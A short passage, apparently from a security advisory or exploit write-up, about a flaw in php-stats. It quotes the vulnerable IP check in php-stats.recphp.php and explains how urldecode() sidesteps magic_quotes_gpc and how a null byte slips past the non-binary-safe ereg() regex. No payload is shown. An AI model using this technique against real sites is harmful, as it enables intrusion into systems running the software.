vulnerable code, php-stats.recphp.php, near line 61-70:

if(isset($_GET['ip']) && $option['accept_ssi']){

  if(!ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',$ip)) return(0);

}

this one exploits the ip argument and works with 'accept_ssi' option enabled,
you bypass magic_quotes_gpc because of urldecode() and bypass regex check
because ereg() is not binary safe (you can use a null char)
